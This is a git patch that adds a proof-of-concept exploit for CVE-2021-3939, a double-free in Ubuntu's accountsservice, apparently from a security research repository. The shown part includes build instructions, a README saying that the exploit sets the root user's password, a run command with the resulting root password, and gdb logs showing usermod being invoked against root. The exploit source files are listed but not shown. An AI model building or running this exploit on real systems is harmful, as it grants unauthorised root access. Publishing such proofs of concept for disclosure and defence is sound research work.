From 24fff089d8136b8f7385d08ddb57a13d91a41193 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Thu, 9 Dec 2021 13:50:43 +0000 Subject: [PATCH 1/2] PoC for Ubuntu accountsservice CVE-2021-3939 --- .gitmodules | 9 + .../accountsservice_CVE-2021-3939/.gitignore | 2 + .../CMakeLists.txt | 51 + .../accountsservice_CVE-2021-3939/DBusParse | 1 + .../accountsservice_CVE-2021-3939/EPollLoop | 1 + .../EPollLoopDBusHandler | 1 + .../README-build-accountsservice.md | 66 ++ .../accountsservice_CVE-2021-3939/README.md | 44 + .../observations/info.txt | 286 ++++++ .../observations/instrumentation.md | 185 ++++ .../observations/polkit_sequence.txt | 166 ++++ .../accountsservice_CVE-2021-3939/poc.cpp | 642 +++++++++++++ .../accountsservice_CVE-2021-3939/poc2.cpp | 846 ++++++++++++++++ .../accountsservice_CVE-2021-3939/poc3.cpp | 906 ++++++++++++++++++ 14 files changed, 3206 insertions(+) create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/.gitignore create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/CMakeLists.txt create mode 160000 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/DBusParse create mode 160000 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoop create mode 160000 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoopDBusHandler create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README.md create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/info.txt create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/instrumentation.md create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/polkit_sequence.txt create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc.cpp create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc2.cpp create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc3.cpp diff --git a/.gitmodules b/.gitmodules index 497169b..5b523f5 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,3 +1,12 @@ [submodule "SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/DBusParse"] path = SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/DBusParse url = https://github.com/kevinbackhouse/DBusParse.git +[submodule "SecurityExploits/Ubuntu/GHSL-2021-1011-accountsservice/DBusParse"] + path = SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/DBusParse + url = https://github.com/kevinbackhouse/DBusParse.git +[submodule "SecurityExploits/Ubuntu/GHSL-2021-1011-accountsservice/EPollLoop"] + path = SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoop + url = https://github.com/kevinbackhouse/EPollLoop.git +[submodule "SecurityExploits/Ubuntu/GHSL-2021-1011-accountsservice/EPollLoopDBusHandler"] + path = SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoopDBusHandler + url = https://github.com/kevinbackhouse/EPollLoopDBusHandler.git diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/.gitignore b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/.gitignore new file mode 100644 index 0000000..c08c06a --- /dev/null +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/.gitignore @@ -0,0 +1,2 @@ +*~ +build* diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/CMakeLists.txt b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/CMakeLists.txt new file mode 100644 index 0000000..c430b23 --- /dev/null +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/CMakeLists.txt @@ -0,0 +1,51 @@ +cmake_minimum_required(VERSION 3.10) + +enable_testing() + +# set the project name +project(GHSL-2021-1011-accountsservice VERSION 1.0.0 DESCRIPTION "Proof of concept exploit for GHSL-2021-1011: double-free in accountsservice") + +# specify the C++ standard +set(CMAKE_CXX_STANDARD 17) +set(CMAKE_CXX_STANDARD_REQUIRED True) + +set(EPollLoop_DIR "${CMAKE_SOURCE_DIR}/EPollLoop") +set(DBusParse_DIR "${CMAKE_SOURCE_DIR}/DBusParse") + +option(USE_SANITIZERS "Enable ASAN and UBSAN" OFF) + +add_compile_options(-Wall -Wextra -pedantic -Werror) + +if (USE_SANITIZERS) + set(SANITIZER_FLAGS "-fsanitize=address,undefined") + set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} ${SANITIZER_FLAGS}") + set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${SANITIZER_FLAGS}") + set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} ${SANITIZER_FLAGS}") + set(CMAKE_MODULE_LINKER_FLAGS "${CMAKE_MODULE_LINKER_FLAGS} ${SANITIZER_FLAGS}") +endif() + +add_subdirectory(DBusParse) +add_subdirectory(EPollLoop) +add_subdirectory(EPollLoopDBusHandler) + +add_executable(poc poc.cpp) +target_link_libraries(poc PUBLIC DBusParse DBusParseUtils util) +target_include_directories( + poc PRIVATE + $) + +add_executable(poc2 poc2.cpp) +target_link_libraries(poc2 PUBLIC DBusParse DBusParseUtils EPollLoop EPollLoopDBusHandler) +target_include_directories( + poc2 PRIVATE + $ + $ + $) + +add_executable(poc3 poc3.cpp) +target_link_libraries(poc3 PUBLIC DBusParse DBusParseUtils EPollLoop EPollLoopDBusHandler) +target_include_directories( + poc3 PRIVATE + $ + $ + $) diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/DBusParse b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/DBusParse new file mode 160000 index 0000000..b2c75ca --- /dev/null +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/DBusParse @@ -0,0 +1 @@ +Subproject commit b2c75caace13d54303581a71f72c83bb5239b3a2 diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoop b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoop new file mode 160000 index 0000000..9bb4a14 --- /dev/null +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoop @@ -0,0 +1 @@ +Subproject commit 9bb4a14427dfb7da867cc253f3e064d54b18679a diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoopDBusHandler b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoopDBusHandler new file mode 160000 index 0000000..019faea --- /dev/null +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoopDBusHandler @@ -0,0 +1 @@ +Subproject commit 019faea2c0e00ba1047b7a0eb3861769896d6dd1 diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md new file mode 100644 index 0000000..d32740e --- /dev/null +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md @@ -0,0 +1,66 @@ +# How to build accountsservice + +## How to build with debug symbols + +First, get the source code for accountsservice: + +```bash +mkdir accountsservice +cd accountsservice +apt-get source accountsservice +cd accountsservice-0.6.55/ +``` + +To create a debug build: + +```bash +DEB_BUILD_OPTIONS='nostrip noopt debug' debuild -b -uc -us +``` + +Install like this: + +``` +sudo dpkg -i ../*.deb +``` + +## How to build with address sanitizer (ASAN) + +The instructions that I found [here](https://wiki.debian.org/LTS/Development/Asan) don't work on accountsservice. (I get lots of linker errors lie `undefined reference to `__asan_report_store8'`, presumably because `libasan` hasn't been included in the link step.) But I was able to successfully create an ASAN build by modifying `src/meson.build` like this: + +``` +diff --git a/src/meson.build b/src/meson.build +index 20d5276..50ec3e1 100644 +--- a/src/meson.build ++++ b/src/meson.build +@@ -28,6 +28,7 @@ cflags = [ + '-DDATADIR="@0@"'.format(act_datadir), + '-DICONDIR="@0@"'.format(join_paths(act_localstatedir, 'lib', 'AccountsService', 'icons')), + '-DUSERDIR="@0@"'.format(join_paths(act_localstatedir, 'lib', 'AccountsService', 'users')), ++ '-fsanitize=address', + ] + + libaccounts_generated = static_library( +@@ -36,6 +37,7 @@ libaccounts_generated = static_library( + include_directories: top_inc, + dependencies: deps, + c_args: cflags, ++ link_args: '-fsanitize=address', + ) + + libaccounts_generated_dep = declare_dependency( +@@ -68,6 +70,7 @@ executable( + include_directories: top_inc, + dependencies: deps, + c_args: cflags, ++ link_args: '-fsanitize=address', + install: true, + install_dir: act_libexecdir, + ) +``` + +Then run the same commands as before to build and install: + +```bash +DEB_BUILD_OPTIONS='nostrip noopt debug' debuild -b -uc -us +sudo dpkg -i ../*.deb +``` diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README.md b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README.md new file mode 100644 index 0000000..9475ba5 --- /dev/null +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README.md @@ -0,0 +1,44 @@ +# Ubuntu accountsservice CVE-2021-3939 (GHSL-2021-1011) + +This repository contains a proof of concept exploit for [CVE-2021-3939](https://ubuntu.com/security/notices/USN-5149-1) (GHSL-2021-1011): +a double-free memory corruption vulnerability in [accountsservice](https://git.launchpad.net/ubuntu/+source/accountsservice/). + +When successful, this poc sets the root user's password. + +Notes: + +1. The vulnerability only exists in Ubuntu's fork of accountsservice. Other Linux distributions, such as Debian, are not affected. +2. This exploit is SLOW. It might take several hours to succeed. + +# Build + +Instructions for building the PoC: + +```bash +git submodule update --init # Download https://github.com/kevinbackhouse/DBusParse +mkdir build +cd build +cmake .. +make +``` + +# Running + +```bash +./poc3 /var/run/dbus/system_bus_socket +``` + +The poc usually takes many hours to succeed. When it's successful, you should be able to login as root: + +```bash +su - root # password is: KrabbyPatties +``` + +Note: there are three versions of the poc. `poc.cpp` is the original +poc that I attached to the bug report that I sent to Ubuntu. It's a +bit careless with the way that it sends and receives D-Bus messages, +so it can sometimes get stuck because it's waiting for a D-Bus message +that never arrives. `poc2.cpp` is an improved version that uses +asynchronous communication, powered by epoll. `poc3.cpp` is a +simplified version of the exploit which I wrote after I better +understood how the exploit actually works. diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/info.txt b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/info.txt new file mode 100644 index 0000000..de60bfd --- /dev/null +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/info.txt @@ -0,0 +1,286 @@ +Output from poc2: + +uid: 1001 +pid: 1382019 +home dir: /home/kev +Unique bus name (polkit): :1.40039 +Received a signal in PolkitHandler. +Unique bus name (accounts): :1.40040 +Received a signal in AccountsHandler. +Successfully registered with polkit +FindUserById: /org/freedesktop/Accounts/User1001 +batch sizes: 3 2 +accounts-daemon PID: 1506283 +accounts-daemon is not running +FindUserById: /org/freedesktop/Accounts/User0 +Starting exploit. PID: 1506348 +trigger_bug: isError = 0 +trigger_bug: isError = 1 + + +from journalctl: + +Nov 23 11:56:37 Speedy accounts-daemon[1506348]: fallback_value (FormatsLocale): 0x564cfbc8e4c0 +Nov 23 11:56:37 Speedy accounts-daemon[1506348]: fallback_value (Language): 0x564cfbc89ea0 + + +accounts-daemon logging: + +(gdb) p logentry_pos +$2 = 159 +(gdb) x /172wx logentries +0x564cfbb00220 : 0x00000000 0x00000000 0x00000003 0x00000004 +0x564cfbb00230 : 0x00000001 0x00000002 0x00000005 0x00000001 +0x564cfbb00240 : 0x00000002 0x00000005 0x00000001 0x00000002 +0x564cfbb00250 : 0x00000005 0x00000003 0x00000004 0x00000001 +0x564cfbb00260 : 0x00000002 0x00000005 0x00000001 0x00000002 +0x564cfbb00270 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00280 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00290 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb002a0 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb002b0 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb002c0 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb002d0 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb002e0 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb002f0 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00300 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00310 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00320 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00330 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00340 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00350 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00360 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00370 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00380 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00390 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb003a0 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb003b0 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb003c0 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb003d0 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb003e0 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb003f0 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00400 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00410 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00420 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00430 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00440 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00450 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00460 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00470 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00480 : 0x00000005 0x00000001 0x00000002 0x00000002 +0x564cfbb00490 : 0x00000002 0x00000002 0x00000006 0x00000000 +0x564cfbb004a0 : 0x00000000 0x00000000 0x00000000 0x00000000 +0x564cfbb004b0 : 0x00000000 0x00000000 0x00000000 0x00000000 +0x564cfbb004c0 : 0x00000000 0x00000000 0x00000000 0x00000000 + + +polkit logging: + +(gdb) p checkauthdata_pos +$3 = 161 +(gdb) x /164gx checkauthdata_table +0x7f2620ca2620 : 0x0000564cfbd1f970 0x0000564cfbd1f970 +0x7f2620ca2630 : 0x0000564cfbd0efd0 0x0000564cfbd0efd0 +0x7f2620ca2640 : 0x0000564cfbc8e4c0 0x0000564cfbd1f930 +0x7f2620ca2650 : 0x0000564cfbd1f930 0x0000564cfbd1e390 +0x7f2620ca2660 : 0x0000564cfbd1cc80 0x0000564cfbd1cc80 +0x7f2620ca2670 : 0x0000564cfbc81670 0x0000564cfbd20800 +0x7f2620ca2680 : 0x0000564cfbd20800 0x0000564cfbc81c10 +0x7f2620ca2690 : 0x0000564cfbc81c10 0x0000564cfbc903e0 +0x7f2620ca26a0 : 0x0000564cfbc81e00 0x0000564cfbc81e00 +0x7f2620ca26b0 : 0x0000564cfbd1cfe0 0x0000564cfbc927e0 +0x7f2620ca26c0 : 0x0000564cfbd102d0 0x0000564cfbc7a600 +0x7f2620ca26d0 : 0x0000564cfbd11a40 0x0000564cfbd1e740 +0x7f2620ca26e0 : 0x0000564cfbc7fc20 0x0000564cfbd23e80 +0x7f2620ca26f0 : 0x0000564cfbcd6bd0 0x0000564cfbc8e4c0 +0x7f2620ca2700 : 0x0000564cfbd23f00 0x0000564cfbd21cb0 +0x7f2620ca2710 : 0x0000564cfbc83800 0x0000564cfbd15f10 +0x7f2620ca2720 : 0x0000564cfbd1f2e0 0x0000564cfbd16ac0 +0x7f2620ca2730 : 0x0000564cfbc85ce0 0x0000564cfbd0f6a0 +0x7f2620ca2740 : 0x0000564cfbc7e590 0x0000564cfbd1d350 +0x7f2620ca2750 : 0x0000564cfbd18020 0x0000564cfbd17e30 +0x7f2620ca2760 : 0x0000564cfbd13030 0x0000564cfbd23ea0 +0x7f2620ca2770 : 0x0000564cfbd17ef0 0x0000564cfbd19310 +0x7f2620ca2780 : 0x0000564cfbc81e00 0x0000564cfbd26320 +0x7f2620ca2790 : 0x0000564cfbd18100 0x0000564cfbd17b60 +0x7f2620ca27a0 : 0x0000564cfbd28460 0x0000564cfbc8e4c0 +0x7f2620ca27b0 : 0x0000564cfbd194a0 0x0000564cfbd284e0 +0x7f2620ca27c0 : 0x0000564cfbd275d0 0x0000564cfbd29380 +0x7f2620ca27d0 : 0x0000564cfbd21c40 0x0000564cfbd19630 +0x7f2620ca27e0 : 0x0000564cfbd17d20 0x0000564cfbd1c3e0 +0x7f2620ca27f0 : 0x0000564cfbd293a0 0x0000564cfbc8e4c0 +0x7f2620ca2800 : 0x0000564cfbd1e790 0x0000564cfbd2aec0 +0x7f2620ca2810 : 0x0000564cfbd2af70 0x0000564cfbd2d8f0 +0x7f2620ca2820 : 0x0000564cfbd2d9e0 0x0000564cfbd2da70 +0x7f2620ca2830 : 0x0000564cfbd262a0 0x0000564cfbd2dd50 +0x7f2620ca2840 : 0x0000564cfbd2abd0 0x0000564cfbd2bc90 +0x7f2620ca2850 : 0x0000564cfbd2cbe0 0x0000564cfbd2e2d0 +0x7f2620ca2860 : 0x0000564cfbd2ae40 0x0000564cfbd2d800 +0x7f2620ca2870 : 0x0000564cfbd2e270 0x0000564cfbd30430 +0x7f2620ca2880 : 0x0000564cfbd31210 0x0000564cfbd32820 +0x7f2620ca2890 : 0x0000564cfbd310a0 0x0000564cfbd2cad0 +0x7f2620ca28a0 : 0x0000564cfbd1e390 0x0000564cfbd1e390 +0x7f2620ca28b0 : 0x0000564cfbd262c0 0x0000564cfbd2c820 +0x7f2620ca28c0 : 0x0000564cfbd31280 0x0000564cfbd32d50 +0x7f2620ca28d0 : 0x0000564cfbc829a0 0x0000564cfbd1ccd0 +0x7f2620ca28e0 : 0x0000564cfbd2e040 0x0000564cfbd13050 +0x7f2620ca28f0 : 0x0000564cfbd352f0 0x0000564cfbd35780 +0x7f2620ca2900 : 0x0000564cfbd32c80 0x0000564cfbd364d0 +0x7f2620ca2910 : 0x0000564cfbd28480 0x0000564cfbd364f0 +0x7f2620ca2920 : 0x0000564cfbd34270 0x0000564cfbd35520 +0x7f2620ca2930 : 0x0000564cfbd32ae0 0x0000564cfbd34080 +0x7f2620ca2940 : 0x0000564cfbd34300 0x0000564cfbd37310 +0x7f2620ca2950 : 0x0000564cfbd36310 0x0000564cfbd362a0 +0x7f2620ca2960 : 0x0000564cfbd37680 0x0000564cfbd35760 +0x7f2620ca2970 : 0x0000564cfbd38300 0x0000564cfbd34650 +0x7f2620ca2980 : 0x0000564cfbd3b7e0 0x0000564cfbd3a580 +0x7f2620ca2990 : 0x0000564cfbd393a0 0x0000564cfbd35570 +0x7f2620ca29a0 : 0x0000564cfbd3c410 0x0000564cfbd3c430 +0x7f2620ca29b0 : 0x0000564cfbc81670 0x0000564cfbd3c5a0 +0x7f2620ca29c0 : 0x0000564cfbd3b450 0x0000564cfbd38470 +0x7f2620ca29d0 : 0x0000564cfbd3ed50 0x0000564cfbd0f440 +0x7f2620ca29e0 : 0x0000564cfbc847c0 0x0000564cfbd3eff0 +0x7f2620ca29f0 : 0x0000564cfbd39b30 0x0000564cfbd39330 +0x7f2620ca2a00 : 0x0000564cfbd327c0 0x0000564cfbd402c0 +0x7f2620ca2a10 : 0x0000564cfbd40430 0x0000564cfbd40240 +0x7f2620ca2a20 : 0x0000564cfbd41300 0x0000564cfbd3ee60 +0x7f2620ca2a30 : 0x0000564cfbd414a0 0x0000564cfbd41400 +0x7f2620ca2a40 : 0x0000564cfbd43ad0 0x0000564cfbd43300 +0x7f2620ca2a50 : 0x0000564cfbd41080 0x0000564cfbd3edc0 +0x7f2620ca2a60 : 0x0000564cfbd44740 0x0000564cfbd44320 +0x7f2620ca2a70 : 0x0000564cfbd43370 0x0000564cfbd41030 +0x7f2620ca2a80 : 0x0000564cfbd323f0 0x0000564cfbd41620 +0x7f2620ca2a90 : 0x0000564cfbd446e0 0x0000564cfbd3ef30 +0x7f2620ca2aa0 : 0x0000564cfbd47450 0x0000564cfbd474d0 +0x7f2620ca2ab0 : 0x0000564cfbd44610 0x0000564cfbd47470 +0x7f2620ca2ac0 : 0x0000564cfbc903e0 0x0000564cfbd476a0 +0x7f2620ca2ad0 : 0x0000564cfbd493e0 0x0000564cfbd49590 +0x7f2620ca2ae0 : 0x0000564cfbd47410 0x0000564cfbd498b0 +0x7f2620ca2af0 : 0x0000564cfbd323d0 0x0000564cfbd47110 +0x7f2620ca2b00 : 0x0000564cfbc927e0 0x0000564cfbc7a600 +0x7f2620ca2b10 : 0x0000564cfbd1e740 0x0000564cfbd23e80 +0x7f2620ca2b20 : 0x0000564cfbc8e4c0 0x0000000000000000 +0x7f2620ca2b30 : 0x0000000000000000 0x0000000000000000 + + +stack trace: + +(gdb) where +#0 0x00007f2620b40a48 in __GI___clock_nanosleep (clock_id=clock_id@entry=0, flags=flags@entry=0, req=req@entry=0x7ffd9208fc30, rem=rem@entry=0x7ffd9208fc30) at ../sysdeps/unix/sysv/linux/clock_nanosleep.c:78 +#1 0x00007f2620b45957 in __GI___nanosleep (req=req@entry=0x7ffd9208fc30, rem=rem@entry=0x7ffd9208fc30) at ../sysdeps/unix/sysv/linux/nanosleep.c:25 +#2 0x00007f2620b4588e in __sleep (seconds=0) at ../sysdeps/posix/sleep.c:55 +#3 0x0000564cfbadff72 in user_change_password_authorized_cb (daemon=0x564cfbc660f0, user=0x564cfbc8f2f0, context=0x7f26140196a0, data=0x564cfbd17a00) at ../src/user.c:2813 +#4 0x0000564cfbad5f75 in check_auth_cb (authority=0x564cfbd0b440, res=0x564cfbd29a00, data=0x564cfbd1a350) at ../src/daemon.c:1428 +#5 0x00007f2620ed2fe2 in g_simple_async_result_complete (simple=0x564cfbd29a00) at ../../../gio/gsimpleasyncresult.c:802 +#6 0x00007f2620c8bc8b in check_authorization_cb (proxy=0x564cfbc8a510, res=0x564cfbd256e0, user_data=0x564cfbc8e4c0) at /home/kev/projects/polkit/policykit-1-0.105/src/polkit/polkitauthority.c:854 +#7 0x00007f2620ee9749 in g_task_return_now (task=0x564cfbd256e0) at ../../../gio/gtask.c:1219 +#8 0x00007f2620ee994b in g_task_return (type=, task=0x564cfbd256e0) at ../../../gio/gtask.c:1289 +#9 g_task_return (task=0x564cfbd256e0, type=) at ../../../gio/gtask.c:1245 +#10 0x00007f2620f5204b in reply_cb (connection=, res=, user_data=user_data@entry=0x564cfbd256e0) at ../../../gio/gdbusproxy.c:2557 +#11 0x00007f2620ee9749 in g_task_return_now (task=0x564cfbd14480) at ../../../gio/gtask.c:1219 +#12 0x00007f2620ee994b in g_task_return (type=, task=0x564cfbd14480) at ../../../gio/gtask.c:1289 +#13 g_task_return (task=0x564cfbd14480, type=) at ../../../gio/gtask.c:1245 +#14 0x00007f2620f4220f in g_dbus_connection_call_done (source=, result=, user_data=user_data@entry=0x564cfbd14480) at ../../../gio/gdbusconnection.c:5789 +#15 0x00007f2620ee9749 in g_task_return_now (task=0x564cfbd14540) at ../../../gio/gtask.c:1219 +#16 0x00007f2620ee978d in complete_in_idle_cb (task=0x564cfbd14540) at ../../../gio/gtask.c:1233 +#17 0x00007f2620d007c4 in g_main_dispatch (context=0x564cfbc4ffb0) at ../../../glib/gmain.c:3337 +#18 g_main_context_dispatch (context=0x564cfbc4ffb0) at ../../../glib/gmain.c:4055 +#19 0x00007f2620d53f08 in g_main_context_iterate.constprop.0 (context=0x564cfbc4ffb0, block=block@entry=1, dispatch=dispatch@entry=1, self=) at ../../../glib/gmain.c:4131 +#20 0x00007f2620cffe43 in g_main_loop_run (loop=0x564cfbc50d60) at ../../../glib/gmain.c:4329 +#21 0x0000564cfbad7ba8 in main (argc=1, argv=0x7ffd920901c8) at ../src/main.c:257 + +threads: +(gdb) info threads + Id Target Id Frame +* 1 Thread 0x7f2620465dc0 (LWP 1506348) "accounts-daemon" 0x00007f2620b40a48 in __GI___clock_nanosleep (clock_id=clock_id@entry=0, flags=flags@entry=0, req=req@entry=0x7ffd9208fc30, rem=rem@entry=0x7ffd9208fc30) at ../sysdeps/unix/sysv/linux/clock_nanosleep.c:78 + 2 Thread 0x7f261fef3640 (LWP 1506349) "gmain" 0x00007f2620b73cdf in __GI___poll (fds=0x564cfbc52660, nfds=2, timeout=3998) at ../sysdeps/unix/sysv/linux/poll.c:29 + 3 Thread 0x7f261eef1640 (LWP 1506351) "gdbus" 0x00007f2620b73cdf in __GI___poll (fds=0x7f2610011000, nfds=2, timeout=-1) at ../sysdeps/unix/sysv/linux/poll.c:29 + + +A more detailed look at some of the stack frames + +(gdb) up 1 +#3 0x0000564cfbadff72 in user_change_password_authorized_cb (daemon=0x564cfbc660f0, user=0x564cfbc8f2f0, context=0x7f26140196a0, data=0x564cfbd17a00) at ../src/user.c:2813 +2813 sleep(1); +(gdb) info args +daemon = 0x564cfbc660f0 +user = 0x564cfbc8f2f0 +context = 0x7f26140196a0 +data = 0x564cfbd17a00 +(gdb) info locals +i = 5190 +strings = 0x564cfbd17a00 +error = 0x0 +argv = {0x564cfbaf277d "/usr/sbin/usermod", 0x564cfbaf2a07 "-p", 0x564cfbd2bc40 "$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB", 0x564cfbaf2318 "--", 0x564cfbd0f5a0 "root", 0x0} +(gdb) p *daemon +Python Exception : can only concatenate str (not "NoneType") to str +$5 = {parent = {parent_instance = {parent_instance = {g_type_instance = {g_class = }, ref_count = 131, qdata = 0x0}, priv = 0x564cfbc660c0}, priv = 0x564cfbc66090}} +(gdb) p *user +Python Exception : can only concatenate str (not "NoneType") to str +$6 = {parent = {parent_instance = {parent_instance = {g_type_instance = {g_class = }, ref_count = 69, qdata = 0x564cfbd323a0}, priv = 0x564cfbc8f2c0}, priv = 0x564cfbc8f290}, system_bus_connection = 0x564cfbc60050, object_path = 0x0, daemon = 0x564cfbc660f0, keyfile = 0x564cfbc6fc50, gid = 0, expiration_time = -1, last_change_time = 18954, min_days_between_changes = 0, max_days_between_changes = 99999, days_to_warn = 7, days_after_expiration_until_lock = -1, login_history = 0x0, icon_file = 0x0, default_icon_file = 0x564cfbc84e00 "/root/.face", account_expiration_policy_known = 1, cached = 0, extension_ids = 0x0, n_extension_ids = 0, changed_timeout_id = 0} +(gdb) p *context +$7 = {parent_instance = {g_type_instance = {g_class = 0x564cfbc63070 [g_type: None]}, ref_count = 1, qdata = 0x7f2614020f50}, sender = 0x7f261401eb30 ":1.40040", object_path = 0x7f2614020ef0 "/org/freedesktop/Accounts/User0", interface_name = 0x7f2614020f20 "org.freedesktop.Accounts.User", method_name = 0x7f2614020e10 "SetPassword", method_info = 0x564cfbafe4a0 <_accounts_user_method_info_set_password>, property_info = 0x0, connection = 0x564cfbc60050, message = 0x7f2614013370, parameters = 0x7f261401cd20, user_data = 0x564cfbc8f2f0} +(gdb) p strings +$8 = (gchar **) 0x564cfbd17a00 +(gdb) p strings[0] +$9 = (gchar *) 0x564cfbd2bc40 "$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB" +(gdb) p strings[1] +$10 = (gchar *) 0x564cfbd1a490 "GoldenEye" + +(gdb) up 1 +#4 0x0000564cfbad5f75 in check_auth_cb (authority=0x564cfbd0b440, res=0x564cfbd29a00, data=0x564cfbd1a350) at ../src/daemon.c:1428 +warning: Source file is more recent than executable. +1428 (* cad->authorized_cb) (cad->daemon, +(gdb) info args +authority = 0x564cfbd0b440 +res = 0x564cfbd29a00 +data = 0x564cfbd1a350 +(gdb) info locals +cad = 0x564cfbd1a350 +result = 0x564cfbd10840 +error = 0x0 +is_authorized = 1 +(gdb) p *authority +$11 = {parent_instance = {g_type_instance = {g_class = 0x564cfbd0af90 [g_type: None]}, ref_count = 261, qdata = 0x0}, name = 0x0, version = 0x0, proxy = 0x564cfbc8a510, cancellation_id_counter = 0, initialized = 1, initialization_error = 0x0} +(gdb) p *res +$12 = +(gdb) p *cad +$13 = {daemon = 0x564cfbc660f0, user = 0x564cfbc8f2f0, authorized_cb = 0x564cfbadfd3d , context = 0x7f26140196a0, data = 0x564cfbd17a00, destroy_notify = 0x564cfbae008d } +(gdb) p *result +$14 = {parent_instance = {g_type_instance = {g_class = 0x564cfbd1e920 [g_type: None]}, ref_count = 1, qdata = 0x0}, is_authorized = 1, is_challenge = 0, details = 0x564cfbc6c0a0} + +(gdb) up 1 +#5 0x00007f2620ed2fe2 in g_simple_async_result_complete (simple=0x564cfbd29a00) at ../../../gio/gsimpleasyncresult.c:802 +802 simple->callback (simple->source_object, +(gdb) info args +simple = 0x564cfbd29a00 +(gdb) info locals +current_source = +current_context = +__func__ = "g_simple_async_result_complete" +(gdb) p *simple +$15 = {parent_instance = {g_type_instance = {g_class = 0x564cfbc62790 [g_type: None]}, ref_count = 1, qdata = 0x0}, source_object = 0x564cfbd0b440, callback = 0x564cfbad5e39 , user_data = 0x564cfbd1a350, context = 0x564cfbc4ffb0, error = 0x0, failed = 0, handle_cancellation = 1, check_cancellable = 0x0, 